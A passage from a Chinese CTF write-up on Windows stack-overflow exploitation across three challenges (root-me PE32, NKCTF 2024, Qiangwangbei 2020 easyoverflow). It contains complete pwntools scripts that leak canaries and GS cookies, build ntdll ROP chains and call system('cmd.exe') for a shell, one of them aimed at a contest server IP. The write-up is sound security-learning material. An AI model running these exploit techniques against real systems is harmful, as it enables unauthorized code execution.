首先在 Hex View-1 界面将 1.txt 字符串在 0x404FA0 处编辑出来

image-20240322152404283

然后修改 text 段传参的汇编代码,在这之前先确定 mov eax,0x404fa0 的机器码

image-20240322152426641

依然是在 Hex View-1 界面去编辑机器码(不知道为什么 keypatch 用不了)

image-20240322152526621

此时将汇编代码修改成了下面这样

image-20240322152413841

解析成伪代码发现 fopenmanage_file 的参数都已经固定为了 1.txt

image-20240322152328579

最后将 if(argc<=1) 修改成 if(argc<=0) ,只需要把汇编代码 cmp [ebp+argc], 1 改成 cmp [ebp+argc], 0 就行

image-20240322160516896

这样我使用 x32dbg 就可以直接从头调试该程序了,想看不同输入导致程序的状态,只需要调整 1.txt 文件的内容即可。解决了调试问题下面进行漏洞利用。

漏洞利用

溢出时会覆盖掉 v11 ,该变量里装的是 fopen 打开 1.txt 的文件指针。如果将其改成了垃圾数据,那么还走不到 manage_file 返回,fclose(v11) 就会造成崩溃。

image-20240324180212341

多次运行 ch73.exe 程序,发现打印的文件指针是同一个,也就是说该地址是固定的(重启电脑的话就变了),因此在溢出的时候需要还原一下文件指针。

image-20240324180449107

x32dbg 调试的时候,点击符号这一栏,选择 msvcrt.dll 里面搜索 system 。可以拿到其地址为 0x77013D30 (应该是因为没开 ASLR 导致 dll 基地址每次都是固定的)

image-20240324181108465

然后字符串 cmd.exe 的话,在 x32dbg 中搜索可能会遇见 cmd.exe 字符串后面并不是 \x00 的情况。我是用 IDA 搜的,cmd.exe 在这个 msvcrt.dll 中的偏移是 0x47A4 。因为 dll 加载的基地址是 0x76FD0000

image-20240324181745856

在内存窗口查看 0x76FD47A4 的数据,发现此处确实为 cmd.exe 字符串

image-20240324181932374

EXP

简单计算偏移,能写出如下脚本

from pwn import *
cmd_addr=0x76FD47A4
system_addr=0x77013D30
file_ptr=0x77084660

payload=b'a'*(0x2014-0xc)
payload+=p32(file_ptr)
payload+=b'a'*0x8
payload+=b'b'*0x4
payload+=p32(system_addr)
payload+=p32(0xdeadbeef)
payload+=p32(cmd_addr)

print(payload)
with open('./1.txt', 'wb+') as f:
f.write(bytes(payload))

payload 写入文件存储,当漏洞程序加载 1.txt 中的 payload 并将其读入内存,就可以执行 system("cmd.exe") 从而拿到了 shell

image-20240324182254918

2024NKCTF_来签个到

昨天刚做了第一个 ret2dll 的[例题](#root-me PE32 - Stack buffer overflow avancé),今天比赛就又遇见 windows pwn 了。当时的例题打的本地,所以关于远程环境的一些问题就没有考虑到,通过这个比赛的题目又学到了一些知识😎

保护策略

首先查看题目是 32 位的 exe 文件

image-20240323202626595

checksec 看了一下保护,发现 GS (也就是 linux 下的 canary)没有开启(但实际上是开启了,这里没有检测出来)

image-20240323202218137

代码分析

OH 函数中实现了主要逻辑,两次 gets 函数,第一次主要是来输入数据,配合着 printf 函数存在的格式化字符串漏洞实现任意地址泄露的目的,接着再一次 gets 函数进行栈溢出漏洞的利用。

image-20240323203127182

观察汇编代码很明显能看出来是有 GS 保护的,因此上面提到的格式化字符串漏洞还得泄露出 canary

image-20240323203607041

利用思路

作为刚接触 windows pwn 的初学者,我的做题思路是这样:

  1. 把程序放到虚拟机里面后,用 win_server 把程序影响到某个端口上,然后在宿主机里面写脚本(用 remote 去和虚拟机里的程序交互),因为程序本身的输入就可以阻塞进程,方便用 x32dbg 直接附加到进程上调试。
  2. 刚开始只考虑先打通本地,所以还用不到题目给出的 dll 文件。对于本题而言,调试的时候关注三个点,首先是 canary 的位置,就是第一次输入大量的 %p-%p-%p-%p 字符串,我要能确认出哪个是 canary 并进行接收;其次是溢出的偏移量也要计算出来;最后在 x32dbg 的调试界面查看一下 msvcrt.dll 的基地址(因为目前做题很少,应该是只要没开 ASLRdll 基地址都是固定的?),顺便确保多次运行程序, msvcrt.dll 的基地址是固定的。
  3. 有两次输入,在脚本里只编写一次 sendline 函数,这样就会让进程阻塞

调试&&打通本地

我将断点下到了 0x4014DF 处,在给予第二次输入后程序就可以运行到此处(如下图)

image-20240323210310637

此时的代码是要判断 canary 是否被破坏,取了栈里的 ebp-0xc 的值做比较,那说明 0x61FF0C 中存放的就是 canary 。输入大量的 %p 就可以成功将 canary 泄露出来。至于溢出偏移量的计算是常规操作,这里不再提及。

image-20240323210543053

点击 符号 这一栏,可以看到 msvcrt.dll 的基地址是 0x76860000 (多次运行发现一直固定),在右侧可以搜索 system 函数,可以看到地址是 0x768A3D30 。也就是说 system 函数在该 dll 里的偏移量为 0x43D30

image-20240323211605343

但是我把该 dll 拖到了 IDA 中,查看 system 地址为 0x10143D30

image-20240323230837806

然后发现 text 段的首地址为 0x10101000 ,二者相减,得到 system 函数在 dll 中的偏移为 0x42D30 。和上面在 x32dbg 中求出的 0x43D30 偏移不同(目前原因未知,不过肯定要以 x32dbg 上的为准)

image-20240323231258275

同理,在 dll 中找到字符串 cmd.exe 的地址(用基地址加上其偏移即可,因为 dll 中地址固定,所以也可以直接在 x32dbg 里去搜索其 system 和所需参数固定的地址),此时可以写出如下 exp

整个的思路很常规,要提的两点分别是接收 canary 可以在前面发送几个字符 a ,然后用 recvuntil 函数读取 a 之后,再去接收 canary 会很准确(不知道为什么无法用 %3$p 这样的格式化字符来精准泄露数据)。另外就是 sleep 是为了提供一个足够的时间,让我来得及手动附加到进程上去调试。

from pwn import *
context.log_level='debug'
p=remote("192.168.110.131",6666)
payload='%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%paaaa%p'
p.sendlineafter("NKCTF2024",payload)


p.recvuntil('aaaa')
canary=int(p.recv(8),16)
print('canary==>',hex(canary))

sleep(10)
system_addr=0x768a3d30
cmd_addr=0x768647a4



payload=b'b'*0x64+p32(canary)+p32(0)*2+p32(0xdeadbeef)+p32(system_addr)+p32(0x11223344)+p32(cmd_addr)
p.sendline(payload)
p.interactive()

此时已经拿到了本地的 shell

image-20240323233759018

攻击远程

接下来根据 dll 基地址调整 exp 从而攻击远程,经过测试我发现偏移 4 的位置疑似是 msvcrt.dll 中的地址,并且地址未随机。

image-20240323234328781

为什么会猜测远程环境中偏移 4 的位置就是 msvcrt.dll 中的地址呢?因为我在调试本地时,发现了这个位置(偏移 4)存放了一个 msvcrt.dll 中的地址

image-20240323234604692

我不知道如何更换 dll ,我看网上有师傅把 C:\windows\SysWoW64\ 目录下面的 msvcrt.dll 改个名字,然后将题目给的 msvcrt.dll 拷贝进去。我操作了之后,发现还是没有更换成功,于是重启系统,接着就开始疯狂报错,所有的可执行文件都打不开了。于是只能尝试其他思路。

我先是查看了本地偏移 4 的那个地址,其实际在 dll 中的偏移为 0x7A19B ,这里的位置是 setvbuf+0x10B

image-20240323235442691

因为上面是看的本地的地址,所以 dll 也是用系统本身的。接下来我又看了一下远程泄露的地址 0x76D6BDFB

image-20240323235602941

然后我查看了题目给的 dll ,我先定位到了 setvbuf 函数,也去找到 setvbuf+0x10B 的位置,发现地址是 0x1017BDFB 。此时意识到这个地址的最后几个字节和远程泄露的地址末尾几个字节一样。根据上面本地用 IDA 查看偏移的经验,这个 setvbuf+0x10B 的位置实际在 dll 里的偏移应该是 0x7BDFB

image-20240323235844469

EXP

上面的只能算猜测,但按照这样来猜,我确实可以得到远程环境 dll 的基地址,然后将 system 函数和 cmd.exe 字符串偏移换成题目给的 dll 里的值,可以写出 exp 如下

from pwn import *
context.log_level='debug'
p=remote("123.60.25.223",10001)
payload='%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%paaaa%p'
p.sendlineafter("NKCTF2024",payload)


p.recvuntil('aaaa')
canary=int(p.recv(8),16)
print('canary==>',hex(canary))

sleep(10)
dll_base=0x76D6BDFB-0x7BDFB
system_addr=dll_base+0x44700
cmd_addr=dll_base+0x048C8

payload=b'b'*0x64+p32(canary)+p32(0)*2+p32(0xdeadbeef)+p32(system_addr)+p32(0x11223344)+p32(cmd_addr)
p.sendline(payload)
p.interactive()

然后就直接梭哈拿下了…😍

image-20240324001017015

强网杯2020_easyoverflow

题目下载链接

代码分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // rax
FILE *v5; // rax
int v6; // ebx
char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF

v3 = _acrt_iob_func(0);
setbuf(v3, 0i64);
v4 = _acrt_iob_func(1u);
setbuf(v4, 0i64);
v5 = _acrt_iob_func(2u);
setbuf(v5, 0i64);
v6 = 3;
do
{
--v6;
memset(DstBuf, 0, sizeof(DstBuf));
puts("input:");
read(0, DstBuf, 0x400u);
puts("buffer:");
puts(DstBuf);
}
while ( v6 > 0 );
return 0;
}

_acrt_iob_func(0) 会返回标准输入流 stdin 的指针,setbuf 会设置输入流为无缓冲模式。之后有三次循环,每次循环都可以溢出并且 puts 直接输出了 DstBuf ,可以将一些栈中数据给顺带打印出来。

开启了 GS 保护,下面是 StackCookie 在当前栈帧的生成以及函数返回前的检查代码。首先将 __security_cookie (位于 .data 段)赋值给 rax ,然后拿该值和 rsp 进行异或并写入 rsp+138h+var_18 的位置,这样可以确保每个栈帧中存放的 StackCookie 不一样,避免攻击者泄露了一次 StackCookie 后可以完全绕过 GS。在检查时会取出 rsp+138h+var_18 存放的 StackCookie 异或 rsp__security_cookie 进行比较(在 __security_check_cookie 函数中完成)

.text:0000000140001000                 push    rbx
.text:0000000140001002 sub rsp, 130h
.text:0000000140001009 mov rax, cs:__security_cookie
.text:0000000140001010 xor rax, rsp
.text:0000000140001013 mov [rsp+138h+var_18], rax

[...]

.text:00000001400010B2 mov rcx, [rsp+138h+var_18]
.text:00000001400010BA xor rcx, rsp ; StackCookie
.text:00000001400010BD call __security_check_cookie
.text:00000001400010C2 add rsp, 130h
.text:00000001400010C9 pop rbx
.text:00000001400010CA retn

将断点下到偏移 0x140001094 处,查看 .data 段上的 __security_cookieRSP 异或得到的结果正好是栈里存放的 StackCookie

image-20240325102510607

此时填充 (0x118-0x18) 个垃圾字符,正好到 StackCookieputs 函数就能把它给带出来(程序重新运行,StackCookie 已改变)

image-20240325110649724

利用过程

因为 windows 64 位下的传参方式不是用栈实现的,如果可以直接泄露出 ucrtbase.dll 基地址,拿到 system 函数和 cmd.exe 字符串地址就可以拿到 shell。在 64 位下,参数的传递是通过 rcx\rdx\r8\r9 寄存器实现的。为了控制参数就得去寻找 gadget 进行 ROP ,我首先想到能不能用上面带出来 StackCookie 的方式,把栈里的 ucrtbase.dll 中的指针给带出来,这样用该 dll 中的 gadget 和函数地址可以一次性完成 system("cmd.exe") 的执行。经过调试,发现栈中有 stackoverflow.exe kernel32.dll ntdll.dll 的指针,但唯独没有 ucrtbase.dll 的指针。

image-20240328111721770

这就意味需要主动 rop 来泄露 ucrtbase.dll 中地址,在 windows 中的 IAT导入地址数组 Import Address Table)类似于 Linux 中的 GOT 表,里面都存放了函数的真实地址。要泄露 IAT 中的数据需要拿到程序基地址,但搜索 gadget 却发现在 stackoverflow.exe 文件中没有 pop rcx ; retgadget

image-20240328125151982

z1r0Vergissmeinnicht 师傅的文章中都提到去 ntdll.dll 中寻找更多的 gadget ,我觉得他们提到的原因不是最关键的。我认为之所以用 ntdll.dll 中的 gadget 就单纯因为它存在于栈中,可以被顺带打印出来,并且其中存在 pop rcx ; retgadget 。而 kernel32.dll 中没有 pop rcx ; ret 所以不考虑泄露它的地址。

补充:我找不到这道题的远程环境,但我依然把他当做攻击远程来做。因为 [关于 Windows 下的 ASLR 机制](关于 Windows 下的 ASLR 机制) 中提到单纯打本地的话,这些模块地址都是固定的,压根不需要每次泄露(打远程其实也不需要每次泄露,只要泄露一次模块基地址就可以),不过确实是没有环境,就没有换题目给的 dll (好吧,其实是我现在还不知道怎么换😶‍🌫️)

接下来编写常规的 exp 来泄露上面提到的地址

from pwn import *
# context.log_level='debug'
p=remote("192.168.0.104",6666)
pause()
payload=b'a'*(0x118-0x18)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('stack_cookie ==> ',hex(stack_cookie))

payload=b'a'*(0x118)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x118)
base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x12f4
print('base_addr ==> ',hex(base_addr))

payload=b'a'*(0x188)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x188)
ntdll_dll=u64(p.recv(6).ljust(8,b'\x00'))-0x526b1
print('ntdll_dll ==> ',hex(ntdll_dll))

p.interactive()

image-20240328131533313

但这么写是错误的,因为程序只有三次输入和输出的机会。这样把三次机会都拿来泄露,可最后没有输入的机会,程序就会直接结束。因此 ntdll.dll 暂时先不泄露,在泄露出程序基地址后,先劫持返回地址重新回到 main 函数。这样又拿到了三次输入和输出的机会,同时需要注意,因为再次回到 main 函数,当前栈帧会改变,rsp 的值改变后会影响 StackCookie 的值,所以第二次到 main 函数时,还需要重新泄露 StackCookie

from pwn import *
# context.log_level='debug'
p=remote("192.168.0.104",6666)
pause()
payload=b'a'*(0x118-0x18)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('stack_cookie ==> ',hex(stack_cookie))

payload=b'a'*(0x118)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x118)
base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x12f4
print('base_addr ==> ',hex(base_addr))

main_addr=base_addr+0x1000

payload=b'a'*(0x100)
payload+=p64(stack_cookie)
payload+=b'b'*0x10
payload+=p64(main_addr)
p.sendafter(b"input:\r\n",payload)
p.interactive()

上面的 exp 执行后,经过调试是可以再次回到 main 函数上的。

image-20240328144547951

image-20240328144611047

接下来是泄露新的 StackCookientdll.dll 基地址,并且通过 ROP 泄露出 ucrtbase.dll 基地址。exp 如下

from pwn import *
context.log_level='debug'
p=remote("192.168.0.104",6666)
pause()
payload=b'a'*(0x118-0x18)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
first_stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('first>> stack_cookie ==> ',hex(first_stack_cookie))

payload=b'a'*(0x118)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x118)
base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x12f4
print('base_addr ==> ',hex(base_addr))

main_addr=base_addr+0x1000

payload=b'a'*(0x100)
payload+=p64(first_stack_cookie)
payload+=b'b'*0x10
payload+=p64(main_addr)
p.sendafter(b"input:\r\n",payload)

"""
ntdll.dll
0x000000018000137d : pop rbx ; ret
0x000000018001a853 : pop rcx ; ret

base
00000001400010A6 call cs:puts
"""


payload=b'a'*(0x100)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
second_stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('second>> stack_cookie ==> ',hex(second_stack_cookie))

payload=b'a'*(0x180)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x180)
ntdll_base=u64(p.recv(6).ljust(8,b'\x00'))-0x526b1
print('ntdll_base ==> ',hex(ntdll_base))

pop_rbx_ret=0x137d+ntdll_base
pop_rcx_ret=0x1a853+ntdll_base
call_puts=0x10a6+base_addr
puts_got=0x2180+base_addr

payload=b'a'*(0x100)
payload+=p64(second_stack_cookie)
payload+=b'b'*0x10
payload+=p64(pop_rbx_ret)
payload+=p64(1)
payload+=p64(pop_rcx_ret)
payload+=p64(puts_got)
payload+=p64(call_puts)
p.sendafter(b"input:\r\n",payload)
p.recvline()
p.recvline()
ucrtbase=u64(p.recv(6).ljust(8,b'\x00'))
print('ucrtbase ==> ',hex(ucrtbase))


p.interactive()

下面是跳转至 ROP 链中的 pop rbx ; ret

image-20240328154129097

下图是 exp 执行后泄露出了所有地址的情况,并且可以还有一次输入的机会

image-20240328155055711

现在可以写出如下 exp ,完成 system("cmd.exe") 的调用

from pwn import *
# context.log_level='debug'
p=remote("192.168.0.104",6666)
pause()
payload=b'a'*(0x118-0x18)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
first_stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('first>> stack_cookie ==> ',hex(first_stack_cookie))

payload=b'a'*(0x118)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x118)
base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x12f4
print('base_addr ==> ',hex(base_addr))

main_addr=base_addr+0x1000

payload=b'a'*(0x100)
payload+=p64(first_stack_cookie)
payload+=b'b'*0x10
payload+=p64(main_addr)
p.sendafter(b"input:\r\n",payload)

"""
ntdll.dll
0x000000018000137d : pop rbx ; ret
0x000000018001a853 : pop rcx ; ret

base
00000001400010A6 call cs:puts
"""


payload=b'a'*(0x100)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
second_stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('second>> stack_cookie ==> ',hex(second_stack_cookie))

payload=b'a'*(0x180)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x180)
ntdll_base=u64(p.recv(6).ljust(8,b'\x00'))-0x526b1
print('ntdll_base ==> ',hex(ntdll_base))

pop_rbx_ret=0x137d+ntdll_base
pop_rcx_ret=0x1a853+ntdll_base
call_puts=0x10a6+base_addr
puts_got=0x2180+base_addr

payload=b'a'*(0x100)
payload+=p64(second_stack_cookie)
payload+=b'b'*0x10
payload+=p64(pop_rbx_ret)
payload+=p64(1)
payload+=p64(pop_rcx_ret)
payload+=p64(puts_got)
payload+=p64(call_puts)
p.sendafter(b"input:\r\n",payload)
p.recvline()
p.recvline()
ucrtbase=u64(p.recv(6).ljust(8,b'\x00'))-0x83D50
print('ucrtbase ==> ',hex(ucrtbase))

cmd_addr=ucrtbase+0xD0CB0
system_addr=ucrtbase+0xae5c0
payload=b'a'*(0x100)
payload+=p64(second_stack_cookie)
payload+=b'b'*0x10
payload+=p64(pop_rcx_ret)
payload+=p64(cmd_addr)
payload+=p64(system_addr)
p.sendafter(b"input:\r\n",payload)

p.interactive()

执行后发现没有成功调用到 system 函数,经过调试,找到是 __security_check_cookie 函数的检查没过。因为上面执行 call puts 改变了 rsp 的值,所以泄露第二次的 StackCookie 也不能用了。这意味着我们要拿到栈地址和 __security_cookie 的值,后者可以通过 ROP 泄露出来,又因为异或运算,知道三个值中的任意两个都可以求出来第三个,栈地址泄露不出来,但之前已经泄露了 StackCookie 的值,用 StackCookie__security_cookie 进行异或就可以拿到栈地址。

所以第一次 ROP 不能着急泄露 ucrtbase 的值(但是到这里我想补充一下,就算是打远程,因为模块基地址是固定的,ntdll.dll 和程序基地址其实分别泄露一次就可以了,不需要把脚本写这么长,当然这样写也没啥问题),而是先泄露出 __security_cookie 的值。然后求出来栈地址,之后每次溢出的时候,都要拿新的 rsp (因为会被上一次 rop 给影响)和 __security_cookie 进行异或,求出最新的 StackCookie 再进行 rop

EXP

from pwn import *
# context.log_level='debug'
p=remote("192.168.0.104",6666)
pause()
payload=b'a'*(0x118-0x18)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
first_stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('first>> stack_cookie ==> ',hex(first_stack_cookie))

payload=b'a'*(0x118)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x118)
base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x12f4
print('base_addr ==> ',hex(base_addr))

main_addr=base_addr+0x1000

payload=b'a'*(0x100)
payload+=p64(first_stack_cookie)
payload+=b'b'*0x10
payload+=p64(main_addr)
p.sendafter(b"input:\r\n",payload)

"""
ntdll.dll
0x000000018000137d : pop rbx ; ret
0x000000018001a853 : pop rcx ; ret

base
00000001400010A6 call cs:puts
"""

#==============================================================================

payload=b'a'*(0x100)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x100)
second_stack_cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('second>> stack_cookie ==> ',hex(second_stack_cookie))

payload=b'a'*(0x180)
p.sendafter(b"input:\r\n",payload)
p.recvuntil(b'a'*0x180)
ntdll_base=u64(p.recv(6).ljust(8,b'\x00'))-0x526b1
print('ntdll_base ==> ',hex(ntdll_base))

pop_rbx_ret=0x137d+ntdll_base
pop_rcx_ret=0x1a853+ntdll_base
call_puts=0x10a6+base_addr
puts_got=0x2180+base_addr
cookie_ptr=0x3008+base_addr

payload=b'a'*(0x100)
payload+=p64(second_stack_cookie)
payload+=b'b'*0x10
payload+=p64(pop_rbx_ret)
payload+=p64(1)
payload+=p64(pop_rcx_ret)
payload+=p64(cookie_ptr)
payload+=p64(call_puts)
p.sendafter(b"input:\r\n",payload)
p.recvline()
p.recvline()
cookie=u64(p.recv(6).ljust(8,b'\x00'))
print('cookie ==> ',hex(cookie))
stack_addr=cookie^second_stack_cookie
print('stack_addr ==> ',hex(stack_addr))

payload=b'a'*(0x100)
payload+=p64((stack_addr+0x160)^cookie)
payload+=b'b'*0x10
payload+=p64(pop_rbx_ret)
payload+=p64(1)
payload+=p64(pop_rcx_ret)
payload+=p64(puts_got)
payload+=p64(call_puts)
p.sendafter(b"input:\r\n",payload)
p.recvline()
p.recvline()
ucrtbase=u64(p.recv(6).ljust(8,b'\x00'))-0x83D50
print('ucrtbase ==> ',hex(ucrtbase))

cmd_addr=ucrtbase+0xD0CB0
system_addr=ucrtbase+0xae5c0
payload=b'a'*(0x100)
payload+=p64((stack_addr+0x2c0)^cookie)
payload+=b'b'*0x10
payload+=p64(pop_rcx_ret)
payload+=p64(cmd_addr)
payload+=p64(system_addr)
p.sendafter(b"input:\r\n",payload)
p.interactive()

补充:有时候不知道为什么计算出 rsp 会错误,导致 StackCookie 求出来时错的,从而触发了 __security_check_cookie 函数,一次没有成功的话就多试几次。

image-20240328171612752

参考文章

格式化字符串打出没有回头路(下)——回头望月 (qq.com)

Windows下漏洞利用——S.E.H深入分析-安全客 - 安全资讯平台 (anquanke.com)

win pwn初探(二) (z1r0.top)

windows pwn(一) - 狒猩橙 - 博客园 (cnblogs.com)

win pwn初探(一) - 先知社区 (aliyun.com)

Windows-pwn入门 - V1ct0r的博客 (gdufs-king.github.io)

Windows-pwn解题原理&利用手法详解-安全客 - 安全资讯平台 (anquanke.com)

windows pwn 基础知识-CSDN博客

https://sky123.blog.csdn.net/article/details/131697469?spm=1001.2014.3001.5502

Windows pwn学习笔记 - 先知社区 (aliyun.com)

https://ret2ver.github.io/2021/10/01/PE32-Advanced-stack-buffer-overflow/)